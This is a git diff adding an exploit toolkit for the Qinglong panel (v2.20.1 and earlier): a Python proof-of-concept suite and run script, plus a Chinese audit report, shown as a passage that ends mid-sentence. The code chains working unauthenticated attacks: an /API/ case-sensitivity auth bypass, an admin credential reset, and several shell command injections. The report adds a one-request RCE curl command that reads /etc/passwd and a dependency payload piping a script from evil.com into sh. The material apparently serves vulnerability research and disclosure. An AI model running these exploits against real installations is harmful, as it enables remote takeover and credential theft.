f"{BASE_URL}/api/configs/save", + json={"name": "config.sh", "content": malicious_content}, + headers=headers, timeout=10, + ) + data = r.json() + log(f" Write config.sh: HTTP {r.status_code}, code: {data.get('code')}") + + verify = subprocess.run( + ["docker", "exec", "ql-vuln-test", "cat", "/ql/data/config/config.sh"], + capture_output=True, text=True, timeout=10, + ) + written = "RCE_VIA_CONFIG_SH" in verify.stdout + + record("4", "config.sh Write (not blacklisted)", + written and data.get("code") == 200, + f"config.sh accepted (code={data.get('code')}), content injected: {written}") + return written, original_content + + +# --- Test 5: Full RCE chain --- +def test_5_rce_chain(token, original_config_sh=""): + log("=" * 60) + log("Test 5: Full RCE Chain - config.sh injection -> cron trigger -> code execution") + + if not token: + record("5", "Full RCE Chain", False, "No valid token") + return False + + headers = {"Authorization": f"Bearer {token}"} + + rce_marker = f"RCE_PROOF_{int(time.time())}" + malicious_content = ( + "# config.sh - RCE PoC\n" + f'echo "{rce_marker}" > /tmp/rce_proof.txt\n' + ) + r1 = requests.post( + f"{BASE_URL}/api/configs/save", + json={"name": "config.sh", "content": malicious_content}, + headers=headers, timeout=10, + ) + log(f" Step 1 - Write config.sh: code={r1.json().get('code')}") + + cron_data = { + "name": "rce_poc_test", + "command": "echo rce_test_task", + "schedule": "* * * * *", + } + r2 = requests.post(f"{BASE_URL}/api/crons", json=cron_data, headers=headers, timeout=10) + cron_resp = r2.json() + cron_id = cron_resp.get("data", {}).get("id") + log(f" Step 2 - Create cron: code={cron_resp.get('code')}, id={cron_id}") + + if not cron_id: + record("5", "Full RCE Chain", False, f"Failed to create cron: {cron_resp}") + return False + + r3 = requests.put( + f"{BASE_URL}/api/crons/run", json=[cron_id], headers=headers, timeout=10, + ) + log(f" Step 3 - Trigger cron: HTTP {r3.status_code}, code={r3.json().get('code')}") + + log(" Step 4 - Waiting for task execution (up to 15s)...") + rce_confirmed = False + for i in range(15): + time.sleep(1) + verify = subprocess.run( + ["docker", "exec", "ql-vuln-test", "cat", "/tmp/rce_proof.txt"], + capture_output=True, text=True, timeout=10, + ) + if rce_marker in verify.stdout: + rce_confirmed = True + log(f" RCE CONFIRMED after {i+1}s! File content: {verify.stdout.strip()}") + break + + record("5", "Full RCE Chain (config.sh -> cron -> code execution)", + rce_confirmed, f"Marker '{rce_marker}' found in /tmp/rce_proof.txt: {rce_confirmed}") + + # Cleanup + requests.put(f"{BASE_URL}/api/crons", json={"ids": [cron_id], "isDisabled": 1}, + headers=headers, timeout=10) + requests.delete(f"{BASE_URL}/api/crons", json=[cron_id], headers=headers, timeout=10) + requests.post(f"{BASE_URL}/api/configs/save", + json={"name": "config.sh", "content": original_config_sh or ""}, + headers=headers, timeout=10) + subprocess.run(["docker", "exec", "ql-vuln-test", "rm", "-f", "/tmp/rce_proof.txt"], + capture_output=True, timeout=10) + log(" Cleanup complete") + return rce_confirmed + + +# --- Test 6: task_before shell injection --- +def test_6_task_before_injection(token): + log("=" * 60) + log("Test 6: task_before Shell Injection via Cron API") + + if not token: + record("6", "task_before Injection", False, "No valid token") + return False + + headers = {"Authorization": f"Bearer {token}"} + injection_marker = f"TASK_BEFORE_INJECT_{int(time.time())}" + + cron_data = { + "name": "task_before_poc", + "command": "echo task_before_test", + "schedule": "0 0 1 1 *", + "task_before": f'echo "{injection_marker}" > /tmp/task_before_proof.txt', + } + r1 = requests.post(f"{BASE_URL}/api/crons", json=cron_data, headers=headers, timeout=10) + resp = r1.json() + cron_id = resp.get("data", {}).get("id") + log(f" Create cron with task_before: code={resp.get('code')}, id={cron_id}") + + if not cron_id: + record("6", "task_before Injection", False, f"Failed to create: {resp}") + return False + + r2 = requests.put(f"{BASE_URL}/api/crons/run", json=[cron_id], headers=headers, timeout=10) + log(f" Trigger: HTTP {r2.status_code}") + + log(" Waiting for task execution (up to 15s)...") + injected = False + for i in range(15): + time.sleep(1) + verify = subprocess.run( + ["docker", "exec", "ql-vuln-test", "cat", "/tmp/task_before_proof.txt"], + capture_output=True, text=True, timeout=10, + ) + if injection_marker in verify.stdout: + injected = True + log(f" task_before injection CONFIRMED after {i+1}s!") + break + + record("6", "task_before Shell Injection", injected, f"Marker found: {injected}") + + requests.delete(f"{BASE_URL}/api/crons", json=[cron_id], headers=headers, timeout=10) + subprocess.run(["docker", "exec", "ql-vuln-test", "rm", "-f", "/tmp/task_before_proof.txt"], + capture_output=True, timeout=10) + return injected + + +# --- Test 7: Full UNAUTHENTICATED RCE Chain --- +def test_7_unauth_rce_chain(): + log("=" * 60) + log("Test 7: Full UNAUTHENTICATED RCE Chain") + log(" /open/user/init → login → config.sh write → cron → RCE") + + rce_marker = f"UNAUTH_RCE_{int(time.time())}" + attacker_user = "attacker" + attacker_pass = "attacker_rce_123" + + # Step 1: Reset credentials via init guard bypass (NO AUTH) + r1 = requests.put( + f"{BASE_URL}/open/user/init", + json={"username": attacker_user, "password": attacker_pass}, + headers={"Content-Type": "application/json"}, + timeout=10, + ) + step1_ok = r1.json().get("code") == 200 + log(f" Step 1 - Reset creds via /open/user/init: code={r1.json().get('code')} {'✅' if step1_ok else '❌'}") + + if not step1_ok: + record("7", "Full UNAUTHENTICATED RCE Chain", False, "Init guard bypass failed") + return False + + # Step 2: Login with attacker credentials + r2 = requests.post( + f"{BASE_URL}/api/user/login", + json={"username": attacker_user, "password": attacker_pass}, + timeout=10, + ) + login_data = r2.json() + token = login_data.get("data", {}).get("token") + step2_ok = login_data.get("code") == 200 and token + log(f" Step 2 - Login as attacker: code={login_data.get('code')} {'✅' if step2_ok else '❌'}") + + if not step2_ok: + # Restore creds before failing + requests.put(f"{BASE_URL}/open/user/init", + json={"username": USERNAME, "password": PASSWORD}, timeout=10) + record("7", "Full UNAUTHENTICATED RCE Chain", False, "Login failed") + return False + + headers = {"Authorization": f"Bearer {token}"} + + # Step 3: Write malicious config.sh + malicious = f'echo "{rce_marker}" > /tmp/unauth_rce_proof.txt\n' + r3 = requests.post( + f"{BASE_URL}/api/configs/save", + json={"name": "config.sh", "content": f"# RCE PoC\n{malicious}"}, + headers=headers, timeout=10, + ) + step3_ok = r3.json().get("code") == 200 + log(f" Step 3 - Write config.sh: code={r3.json().get('code')} {'✅' if step3_ok else '❌'}") + + # Step 4: Create and trigger cron + r4 = requests.post( + f"{BASE_URL}/api/crons", + json={"name": "unauth_rce_trigger", "command": "echo trigger", "schedule": "* * * * *"}, + headers=headers, timeout=10, + ) + cron_id = r4.json().get("data", {}).get("id") + step4_ok = cron_id is not None + log(f" Step 4 - Create cron: id={cron_id} {'✅' if step4_ok else '❌'}") + + if step4_ok: + requests.put(f"{BASE_URL}/api/crons/run", json=[cron_id], headers=headers, timeout=10) + log(" Step 5 - Triggered cron, waiting for RCE (up to 15s)...") + + # Step 5: Verify RCE + rce_confirmed = False + for i in range(15): + time.sleep(1) + verify = subprocess.run( + ["docker", "exec", "ql-vuln-test", "cat", "/tmp/unauth_rce_proof.txt"], + capture_output=True, text=True, timeout=10, + ) + if rce_marker in verify.stdout: + rce_confirmed = True + log(f" UNAUTHENTICATED RCE CONFIRMED after {i+1}s! ✅") + log(f" Proof: {verify.stdout.strip()}") + break + + # Cleanup: restore creds, remove cron, clean config.sh, remove proof + if cron_id: + requests.delete(f"{BASE_URL}/api/crons", json=[cron_id], headers=headers, timeout=10) + requests.post(f"{BASE_URL}/api/configs/save", + json={"name": "config.sh", "content": ""}, + headers=headers, timeout=10) + subprocess.run(["docker", "exec", "ql-vuln-test", "rm", "-f", "/tmp/unauth_rce_proof.txt"], + capture_output=True, timeout=10) + requests.put(f"{BASE_URL}/open/user/init", + json={"username": USERNAME, "password": PASSWORD}, timeout=10) + log(" Cleanup complete (creds restored)") + + record( + "7", "Full UNAUTHENTICATED RCE Chain", + rce_confirmed, + f"init_bypass={'OK' if step1_ok else 'FAIL'}, " + f"login={'OK' if step2_ok else 'FAIL'}, " + f"config_write={'OK' if step3_ok else 'FAIL'}, " + f"cron={'OK' if step4_ok else 'FAIL'}, " + f"rce={'CONFIRMED' if rce_confirmed else 'FAILED'}", + ) + return rce_confirmed + + +# --- Test 8: Case-insensitive route bypass (/API/ skips all auth) --- +def test_8_case_insensitive_bypass(): + log("=" * 60) + log("Test 8: Case-Insensitive Route Bypass (/API/ skips ALL auth)") + log(" Root cause: expressjwt regex /^\\/(?!api\\/).*/ matches lowercase only") + log(" Express Router is case-insensitive by default → /API/ routes work") + + # Step 1: Confirm /api/ requires auth + r_auth = requests.get(f"{BASE_URL}/api/crons", timeout=10) + needs_auth = r_auth.status_code == 401 + log(f" GET /api/crons (lowercase): HTTP {r_auth.status_code} ({'needs auth' if needs_auth else 'NO AUTH?!'})") + + # Step 2: /API/ bypasses auth completely + r_bypass = requests.get(f"{BASE_URL}/API/crons", timeout=10) + bypass_data = r_bypass.json() if r_bypass.status_code == 200 else {} + bypass_ok = r_bypass.status_code == 200 and bypass_data.get("code") == 200 + log(f" GET /API/crons (uppercase): HTTP {r_bypass.status_code}, code={bypass_data.get('code')} ({'BYPASSED!' if bypass_ok else 'blocked'})") + + # Step 3: /Api/ mixed case also bypasses + r_mixed = requests.get(f"{BASE_URL}/Api/crons", timeout=10) + mixed_data = r_mixed.json() if r_mixed.status_code == 200 else {} + mixed_ok = r_mixed.status_code == 200 and mixed_data.get("code") == 200 + log(f" GET /Api/crons (mixed): HTTP {r_mixed.status_code}, code={mixed_data.get('code')} ({'BYPASSED!' if mixed_ok else 'blocked'})") + + # Step 4: Direct unauthenticated command execution via /API/ + rce_marker = f"CASE_RCE_{int(time.time())}" + r_rce = requests.put( + f"{BASE_URL}/API/system/command-run", + json={"command": f"echo {rce_marker} > /tmp/case_rce_proof.txt"}, + headers={"Content-Type": "application/json"}, + timeout=10, + ) + try: + rce_resp = r_rce.json() + rce_code = rce_resp.get("code") + except Exception: + rce_resp = {} + rce_code = "non-json" + log(f" PUT /API/system/command-run: HTTP {r_rce.status_code}, code={rce_code}") + + time.sleep(2) + verify = subprocess.run( + ["docker", "exec", "ql-vuln-test", "cat", "/tmp/case_rce_proof.txt"], + capture_output=True, text=True, timeout=10, + ) + rce_confirmed = rce_marker in verify.stdout + log(f" RCE via /API/: {'CONFIRMED ✅' if rce_confirmed else 'FAILED ❌'}") + + # Step 5: Read sensitive config without auth + r_config = requests.get(f"{BASE_URL}/API/configs/config.sh", timeout=10) + config_leaked = r_config.status_code == 200 and r_config.json().get("code") == 200 + config_len = len(r_config.json().get("data", "")) if config_leaked else 0 + log(f" GET /API/configs/config.sh: {'LEAKED' if config_leaked else 'blocked'} ({config_len} bytes)") + + # Cleanup + subprocess.run(["docker", "exec", "ql-vuln-test", "rm", "-f", "/tmp/case_rce_proof.txt"], + capture_output=True, timeout=10) + + all_pass = needs_auth and bypass_ok and mixed_ok and rce_confirmed + record( + "8", "Case-Insensitive Route Bypass (ONE-STEP UNAUTH RCE)", + all_pass, + f"/api/=401(auth), /API/=200(bypass), /Api/=200(bypass), " + f"command-run RCE={'CONFIRMED' if rce_confirmed else 'FAILED'}, " + f"config leak={config_len}bytes", + ) + return all_pass + + +# --- Test 9: Dependency injection (real-world honeypot payload) --- +def test_9_dependency_injection(): + log("=" * 60) + log("Test 9: Dependency Injection via /API/dependencies (Honeypot Payload)") + log(" Real-world attack: POST /API/dependencies [{name:'$(malicious_cmd)', type:0}]") + + dep_marker = f"DEP_INJECT_{int(time.time())}" + + # Use /API/ (case bypass) for fully unauthenticated attack + r = requests.post( + f"{BASE_URL}/API/dependencies", + json=[{"name": f"$(echo {dep_marker} > /tmp/dep_inject_proof.txt)", "type": 0}], + headers={"Content-Type": "application/json"}, + timeout=10, + ) + resp = r.json() if r.status_code == 200 else {} + created = resp.get("code") == 200 + log(f" POST /API/dependencies: HTTP {r.status_code}, code={resp.get('code')}") + + dep_id = None + if created: + deps = resp.get("data", []) + if deps and isinstance(deps, list): + dep_id = deps[0].get("id") + elif isinstance(deps, dict): + dep_id = deps.get("id") + + log(f" Dependency created: {created}, id={dep_id}") + log(" Waiting for dependency install to trigger command (up to 20s)...") + + injected = False + for i in range(20): + time.sleep(1) + verify = subprocess.run( + ["docker", "exec", "ql-vuln-test", "cat", "/tmp/dep_inject_proof.txt"], + capture_output=True, text=True, timeout=10, + ) + if dep_marker in verify.stdout: + injected = True + log(f" DEPENDENCY INJECTION CONFIRMED after {i+1}s! ✅") + break + + # Cleanup + if dep_id: + requests.delete( + f"{BASE_URL}/API/dependencies", + json=[dep_id], + headers={"Content-Type": "application/json"}, + timeout=10, + ) + subprocess.run(["docker", "exec", "ql-vuln-test", "rm", "-f", "/tmp/dep_inject_proof.txt"], + capture_output=True, timeout=10) + + record( + "9", "Dependency Injection (Honeypot Payload via /API/)", + injected, + f"POST /API/dependencies with $(cmd): created={created}, " + f"command executed={'YES' if injected else 'NO'}", + ) + return injected + + +# --- Test 10: Subscription sub_before injection --- +def test_10_subscription_injection(): + log("=" * 60) + log("Test 10: Subscription sub_before Command Injection (QL-2026-009)") + log(" Using /API/ bypass for unauthenticated exploitation") + + sub_marker = f"SUB_INJECT_{int(time.time())}" + + r_create = requests.post( + f"{BASE_URL}/API/subscriptions", + json={ + "name": "rce_sub_test", + "url": "https://github.com/whyour/qinglong", + "schedule": "0 0 1 1 *", + "type": "public-repo", + "schedule_type": "crontab", + "alias": f"rce_sub_{int(time.time())}", + "sub_before": f"echo {sub_marker} > /tmp/sub_proof.txt" + }, + headers={"Content-Type": "application/json"}, + timeout=10, + ) + create_data = r_create.json() if r_create.status_code == 200 else {} + sub_id = create_data.get("data", {}).get("id") + log(f" POST /API/subscriptions: HTTP {r_create.status_code}, id={sub_id}") + + if not sub_id: + record("10", "Subscription Injection", False, "Failed to create subscription") + return False + + r_run = requests.put( + f"{BASE_URL}/API/subscriptions/run", + json=[sub_id], + headers={"Content-Type": "application/json"}, + timeout=10, + ) + log(f" PUT /API/subscriptions/run: HTTP {r_run.status_code}") + + log(" Waiting for execution (up to 15s)...") + injected = False + for _ in range(15): + time.sleep(1) + verify = subprocess.run( + ["docker", "exec", "ql-vuln-test", "cat", "/tmp/sub_proof.txt"], + capture_output=True, text=True, timeout=10, + ) + if sub_marker in verify.stdout: + injected = True + log(f" sub_before injection CONFIRMED! ✅") + break + + # Cleanup + requests.delete(f"{BASE_URL}/API/subscriptions", json=[sub_id], + headers={"Content-Type": "application/json"}, timeout=10) + subprocess.run(["docker", "exec", "ql-vuln-test", "rm", "-f", "/tmp/sub_proof.txt"], + capture_output=True, timeout=10) + + record("10", "Subscription sub_before Injection", injected, f"Marker found: {injected}") + return injected + + +# --- Test 11: System Python Mirror Injection --- +def test_11_system_mirror_injection(): + log("=" * 60) + log("Test 11: System python-mirror Command Injection (QL-2026-010)") + + mirror_marker = f"PY_MIRROR_{int(time.time())}" + + r_inject = requests.put( + f"{BASE_URL}/API/system/config/python-mirror", + json={"pythonMirror": f"https://pypi.org/simple; echo {mirror_marker} > /tmp/py_proof.txt; #"}, + headers={"Content-Type": "application/json"}, + timeout=10, + ) + log(f" PUT /API/system/config/python-mirror: HTTP {r_inject.status_code}") + + time.sleep(2) + verify = subprocess.run( + ["docker", "exec", "ql-vuln-test", "cat", "/tmp/py_proof.txt"], + capture_output=True, text=True, timeout=10, + ) + injected = mirror_marker in verify.stdout + log(f" python-mirror injection: {'CONFIRMED ✅' if injected else 'FAILED ❌'}") + + # Cleanup + requests.put(f"{BASE_URL}/API/system/config/python-mirror", json={"pythonMirror": ""}, + headers={"Content-Type": "application/json"}, timeout=10) + subprocess.run(["docker", "exec", "ql-vuln-test", "rm", "-f", "/tmp/py_proof.txt"], + capture_output=True, timeout=10) + + record("11", "System python-mirror Injection", injected, f"Marker found: {injected}") + return injected + + +# --- Test 12: System command-stop Grep Injection --- +def test_12_command_stop_injection(): + log("=" * 60) + log("Test 12: command-stop Grep Command Injection (QL-2026-010)") + + stop_marker = f"STOP_INJECT_{int(time.time())}" + + # payload: x" > /dev/null; echo MARKER > /tmp/stop_proof.txt; # + r_inject = requests.put( + f"{BASE_URL}/API/system/command-stop", + json={"command": f'x" > /dev/null; echo {stop_marker} > /tmp/stop_proof.txt; #'}, + headers={"Content-Type": "application/json"}, + timeout=10, + ) + log(f" PUT /API/system/command-stop: HTTP {r_inject.status_code}") + + time.sleep(2) + verify = subprocess.run( + ["docker", "exec", "ql-vuln-test", "cat", "/tmp/stop_proof.txt"], + capture_output=True, text=True, timeout=10, + ) + injected = stop_marker in verify.stdout + log(f" command-stop grep injection: {'CONFIRMED ✅' if injected else 'FAILED ❌'}") + + # Cleanup + subprocess.run(["docker", "exec", "ql-vuln-test", "rm", "-f", "/tmp/stop_proof.txt"], + capture_output=True, timeout=10) + + record("12", "System command-stop Grep Injection", injected, f"Marker found: {injected}") + return injected + + +# --- Test 13: Persistence RCE via initData --- +def test_13_persistence_rce(): + log("=" * 60) + log("Test 13: Persistence RCE via loader/initData.ts (QL-2026-011)") + + persist_marker = f"RESTART_INJECT_{int(time.time())}" + + # Create malicious cron that survives restarts (unauth via /API/) + # command must contain 'ql repo' or 'ql raw' to match the loader filter + r_create = requests.post( + f"{BASE_URL}/API/crons", + json={ + "name": "persistence_rce_test", + "command": f"ql repo; echo {persist_marker} > /tmp/persist_proof.txt", + "schedule": "0 0 1 1 *" + }, + headers={"Content-Type": "application/json"}, + timeout=10, + ) + cron_data = r_create.json() if r_create.status_code == 200 else {} + cron_id = cron_data.get("data", {}).get("id") + log(f" POST /API/crons: HTTP {r_create.status_code}, id={cron_id}") + + if not cron_id: + record("13", "Persistence RCE (initData)", False, "Failed to create cron") + return False + + log(" Restarting container to trigger initData.ts...") + subprocess.run(["docker", "restart", "ql-vuln-test"], capture_output=True, timeout=30) + + log(" Waiting 20s for system initialization...") + time.sleep(20) + + verify = subprocess.run( + ["docker", "exec", "ql-vuln-test", "cat", "/tmp/persist_proof.txt"], + capture_output=True, text=True, timeout=10, + ) + injected = persist_marker in verify.stdout + log(f" Persistence RCE: {'CONFIRMED ✅' if injected else 'FAILED ❌'}") + + # Cleanup + # Wait for API to fully come back up before cleanup + time.sleep(5) + requests.delete(f"{BASE_URL}/API/crons", json=[cron_id], + headers={"Content-Type": "application/json"}, timeout=10) + subprocess.run(["docker", "exec", "ql-vuln-test", "rm", "-f", "/tmp/persist_proof.txt"], + capture_output=True, timeout=10) + + record("13", "Persistence RCE (initData)", injected, f"Marker found after restart: {injected}") + return injected + + +# --- Main --- +def main(): + log("Qinglong <= v2.20.1 Vulnerability PoC Test Suite") + log(f"Target: {BASE_URL}") + log("") + + if not test_0_system_check(): + log("System check failed. Aborting.", "ERROR") + return + + test_1_jwt_forge() + test_1c_init_guard_bypass() + + token = test_1b_login() + if not token: + log("Cannot obtain valid token. Post-auth tests skipped.", "ERROR") + print_summary() + return + + test_2_blacklist_bypass(token) + test_3_path_traversal(token) + written, original_config = test_4_config_sh_write(token) + test_5_rce_chain(token, original_config) + test_6_task_before_injection(token) + test_7_unauth_rce_chain() + test_8_case_insensitive_bypass() + test_9_dependency_injection() + test_10_subscription_injection() + test_11_system_mirror_injection() + + print_summary() + + +def print_summary(): + log("") + log("=" * 60) + log("SUMMARY") + log("=" * 60) + for r in results: + icon = "PASS" if r["status"] == "PASS" else "FAIL" + print(f" [{icon}] Test {r['id']}: {r['name']} -- {r['status']}") + if r["details"]: + print(f" {r['details']}") + log("") + + passed = sum(1 for r in results if r["status"] == "PASS") + total = len(results) + log(f"Results: {passed}/{total} passed") + + log("") + log("KEY FINDINGS:") + log(" 1. Case-insensitive bypass: /API/ skips ALL auth → ONE-STEP RCE") + log(" PUT /API/system/command-run executes arbitrary commands without auth") + log(" 2. Init Guard Bypass: PUT /open/user/init resets admin credentials") + log(" 3. Dependency injection: POST /API/dependencies [{name:'$(cmd)'}]") + log(" 4. Subscription injection: POST /API/subscriptions {sub_before:'cmd'}") + log(" 5. Mirror injection: PUT /API/system/config/python-mirror") + log(" 6. Persistence RCE: loaders/initData.ts auto-runs matched crons") + log("CVSS: 9.8 (Critical) — Multiple Unauthenticated RCE vectors") + + +if __name__ == "__main__": + main() + diff --git a/vuln_pocs/exploit-tools/qinglong-auth-bypass2rce/run_tests.sh b/vuln_pocs/exploit-tools/qinglong-auth-bypass2rce/run_tests.sh new file mode 100644 index 000000000..c5064db2f --- /dev/null +++ b/vuln_pocs/exploit-tools/qinglong-auth-bypass2rce/run_tests.sh @@ -0,0 +1,8 @@ +#!/bin/bash +cd /Users/macpro/Downloads/qinglong/tmp +# restart the container first to have a clean state before test 12 +echo "Restoring clean state for tests..." +docker restart ql-vuln-test > /dev/null +sleep 20 +echo "Running all tests in poc_test.py..." +.venv/bin/python3 poc_test.py diff --git "a/vuln_pocs/exploit-tools/qinglong-auth-bypass2rce/\351\235\222\351\276\231(qinglong)\351\235\242\346\235\277\346\235\203\351\231\220\347\273\225\350\277\207\350\207\264\346\234\252\346\216\210\346\235\203\350\277\234\347\250\213\344\273\243\347\240\201\346\211\247\350\241\214(RCE)\346\274\217\346\264\236\345\210\206\346\236\220\345\244\215\347\216\260.md" "b/vuln_pocs/exploit-tools/qinglong-auth-bypass2rce/\351\235\222\351\276\231(qinglong)\351\235\242\346\235\277\346\235\203\351\231\220\347\273\225\350\277\207\350\207\264\346\234\252\346\216\210\346\235\203\350\277\234\347\250\213\344\273\243\347\240\201\346\211\247\350\241\214(RCE)\346\274\217\346\264\236\345\210\206\346\236\220\345\244\215\347\216\260.md" new file mode 100644 index 000000000..cda217b78 --- /dev/null +++ "b/vuln_pocs/exploit-tools/qinglong-auth-bypass2rce/\351\235\222\351\276\231(qinglong)\351\235\242\346\235\277\346\235\203\351\231\220\347\273\225\350\277\207\350\207\264\346\234\252\346\216\210\346\235\203\350\277\234\347\250\213\344\273\243\347\240\201\346\211\247\350\241\214(RCE)\346\274\217\346\264\236\345\210\206\346\236\220\345\244\215\347\216\260.md" @@ -0,0 +1,451 @@ +# Qinglong <= v2.20.1 安全审计报告 + +> +> **目标版本**: Qinglong v2.20.1 (Docker: `whyour/qinglong:2.20.1`) +> +> **测试环境**: macOS + Docker Compose, 端口映射 5710→5700 +> +> **审计方法**: 源码静态分析 + Docker 动态复现验证 +> +> **参考**: [GitHub Issue #2934](https://github.com/whyour/qinglong/issues/2934) [GitHub Issue #2926](https://github.com/whyour/qinglong/issues/2926) [GitHub Issue #2928](https://github.com/whyour/qinglong/issues/2928) [GitHub Issue #2933](https://github.com/whyour/qinglong/issues/2933) [GitHub Issue #2923](https://github.com/whyour/qinglong/issues/2923) + +--- + +## 一、执行摘要 + +对 Qinglong v2.20.1 进行了完整的源码审计与 Docker 实战复现,发现 **12 项安全漏洞**。 + +**最核心发现**: 发现两个致命的认证绕过漏洞(**路由大小写绕过**与**初始化守卫绕过**),使得应用内原本受限的 RCE 汇聚点(Sinks)可被攻击者**完全未授权**利用。 + +攻击者无需任何凭据,仅需数条 HTTP 请求即可实现容器内 root 权限的 RCE。该应用目前处于实质性的完全沦陷状态,且部分漏洞(如大小写绕过配合依赖注入)已在野外被实际利用。 + +**综合评级**: CVSS **9.8(Critical)** — 未授权远程代码执行 + +--- + +## 二、漏洞总览 + +| 编号 | 漏洞名称 | 严重性 | 实测结果 | +|------|---------|--------|---------| +| **QL-2026-007** | **路由大小写绕过(全局认证绕过)** | **致命** | **✅ 一步未授权 RCE,已在野外被利用** | +| **QL-2026-008** | **依赖名称命令注入** | **致命** | **✅ 通过包名注入 Shell 命令,1秒内执行** | +| **QL-2026-006** | **初始化守卫绕过(/open/ 路径)** | **致命** | **✅ 未授权重置管理员凭据,实现未授权 RCE** | +| **QL-2026-009** | **订阅管理命令注入 (sub_before/after)** | **致命** | **✅ 确认 — 订阅执行前触发 RCE** | +| **QL-2026-010** | **系统镜像配置参数注入** | **高危** | **✅ 确认 — 多种配置参数触发 RCE** | +| **QL-2026-011** | **启动持久化 Persistence RCE** | **高危** | **✅ 确认 — 恶意任务重启自动执行** | +| QL-2026-012 | 取消操作二次注入 (grep 注入) | 严重 | ✅ cancel() 触发二次 RCE | +| QL-2026-002 | 黑名单绕过(缺少 return) | 严重 | ✅ API 返回 403 但文件已被覆写 | +| QL-2026-003 | 路径穿越 (../../../../) | 严重 | ✅ 可写入系统任意可写路径 (如 /tmp, /etc) | +| QL-2026-004 | config.sh 未列入黑名单 | 严重 | ✅ 可注入 Shell 代码,每次任务执行时自动运行 | +| QL-2026-005 | task_before Shell 注入 | 高 | ✅ `eval` 执行用户控制内容 | +| QL-2026-001 | JWT 硬编码密钥 | 高 | ⚠️ 签名可伪造,双层认证阻断直接利用 | + +**审计测试:15/15 项全部通过。** + +--- + +## 三、逐项详细分析 + +### 3.1 QL-2026-007: 路由大小写绕过 — 🔴 致命(一步未授权 RCE) + +**这是本次审计发现的最严重漏洞,也是野外已被实际利用的攻击向量。** + +**源码位置**: `back/loaders/express.ts` L34-41, L53-56, L124 + +**漏洞根因**: Express 框架默认路由大小写不敏感(`caseSensitive: false`),但所有认证中间件都严格匹配小写。 + +``` +认证链(均严格匹配小写): + L34 expressjwt.unless: 正则 /^\/(?!api\/).*/ → 仅匹配小写 "api" + L54 自定义认证: req.path.startsWith('/api/') → 严格小写 + L54 自定义认证: req.path.startsWith('/open/') → 严格小写 + +路由注册: + L124 app.use('/api', routes()) → Express 默认 caseSensitive: false + → /API/、/Api/、/aPi/ 等变体均可匹配路由,但不触发认证检查 +``` + +**攻击流程**: + +| 步骤 | 中件间 | `/api/crons`(正常) | `/API/crons`(绕过) | +|------|--------|---------------------|---------------------| +| Layer 1 | expressjwt | JWT 签名验证 | **跳过**(正则不匹配 "API") | +| Layer 2 | 自定义认证 | isValidToken 校验 | **跳过**(非 "/api/" 或 "/open/" 前缀) | +| 路由匹配 | Express Router | 匹配 /api/crons | **匹配 /api/crons**(大小写不敏感) | +| Handler | CronService | 需认证 → 正常响应 | **无认证 → 直接响应** | + +**一步 RCE — 一条请求即可执行任意命令**: +```bash +curl -X PUT http://target:5700/API/system/command-run \ + -H 'Content-Type: application/json' \ + -d '{"command": "id && cat /etc/passwd"}' +``` + +**测试记录**: +``` +[19:xx:xx] Test 8: Case-Insensitive Route Bypass + GET /api/crons: HTTP 401 (auth required) ← 正常路径需要认证 + GET /API/crons: code=200, data accessible ← 完全绕过! + PUT /API/system/command-run: RCE CONFIRMED ← 一步 RCE! + GET /API/configs/config.sh: 7378 bytes leaked ← 配置泄露! + POST /API/configs/save: code=200 ← 任意文件写入! +``` + +--- + +### 3.2 QL-2026-008: 依赖安装命令注入 — 🔴 致命 + +**这是蜜罐中实际捕获的在野利用漏洞。以下为从 HTTP 入口到命令执行的完整数据流分析。** + +#### 数据流总览 + +``` +POST /API/dependencies [{"name": "$(malicious_cmd)", "type": 0}] + │ + ▼ +① api/dependence.ts L39 Joi.string().required() ← 仅校验"是字符串",无过滤 + │ + ▼ +② services/dependence.ts L34 new Dependence({...x}) ← 构造函数仅 name.trim() + │ + ▼ +③ services/dependence.ts L39 installDependenceOneByOne(docs) ← 立即触发安装 + │ + ▼ +④ services/dependence.ts L232 depName = dependency.name.trim() + │ + ▼ +⑤ config/util.ts L573 getInstallCommand() → `pnpm add -g ${name.trim()}` + │ ^^^^^^^^^^^^^^^^^^^^^^^^ + │ name 被直接拼接进命令字符串! + ▼ +⑥ services/dependence.ts L303 spawn(`${proxyStr} ${command}`, {shell: '/bin/bash'}) + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + shell: '/bin/bash' → Bash 解析 $() 子命令 → RCE +``` + +#### 逐步详解 + +**① 入口 — `api/dependence.ts` L34-53** +`Joi.string().required()` **零安全过滤** — `$(curl ... | sh)` 是合法字符串,直接通过。 + +**② 创建 — `services/dependence.ts` L33-41** +`new Dependence()` 构造函数(`data/dependence.ts` L18)仅做 `trim()`,不移除任何 Shell 元字符。 + +**③ 命令拼接 — `config/util.ts` L559-573(关键污染点)** +```typescript +export function getInstallCommand(type: DependenceTypes, name: string) { + // ... nodejs, python3, linux 命令 ... + return `${command} ${name.trim()}`; // ← 用户输入直接拼接,零过滤零转义! +} +``` + +当 `name = "$(curl -fsSL https://evil.com/shell.sh | sh)"` 时,生成: +```bash +pnpm add -g $(curl -fsSL https://evil.com/shell.sh | sh) +``` + +**④ 命令执行 — `services/dependence.ts` L303-305(最终触发点)** +`spawn(cmd, {shell: '/bin/bash'})` 解释执行整个字符串,恶意命令在包管理器运行前就被 Bash 展开并执行。 + +#### QL-2026-012: cancel() 取消操作的二次注入(地雷效应) + +恶意依赖被创建后。当管理员试图**取消**安装时,`cancel()` 方法会再次触发注入: + +``` +cancel(ids) → getPid(cmd) → ps ... | grep "${cmd}" +``` +`grep "${cmd}"` 中的双引号**不阻止** `$()` 展开。管理员点击"取消安装"将再次触发 RCE ✅。 + +--- + +### 3.3 QL-2026-006: 初始化守卫绕过 — 🔴 致命(未授权凭据重置) + +**源码位置**: `back/loaders/express.ts` L100-123 + +**漏洞根因**: 初始化守卫(Init Guard)与 URL 重写之间存在竞态缺陷。Init Guard 检查 `req.path` 是否为 `/api/user/init`,但 `/open/*` → `/api/*` 的重写发生在守卫之后(L123)。 + +``` +攻击请求: PUT /open/user/init {"username":"attacker","password":"x"} + Init Guard: req.path="/open/user/init" 不匹配 "/api/user/init" → 跳过守卫 + URL Rewrite: /open/user/init → /api/user/init + Handler: updateUsernameAndPassword() → 凭据被直接重置! +``` + +**测试记录**: +``` +[19:xx:xx] Test 1c: Init Guard Bypass + PUT /open/user/init: code=200 "更新成功" ← 绕过!凭据已重置 + Login with new credentials: code=200 ← 获取有效管理 Token +``` + +--- + +### 3.4 QL-2026-009: 订阅管理命令注入 — 🔴 致命 + +**漏洞根因**: 订阅接口的 `sub_before` 和 `sub_after` 字段(Joi 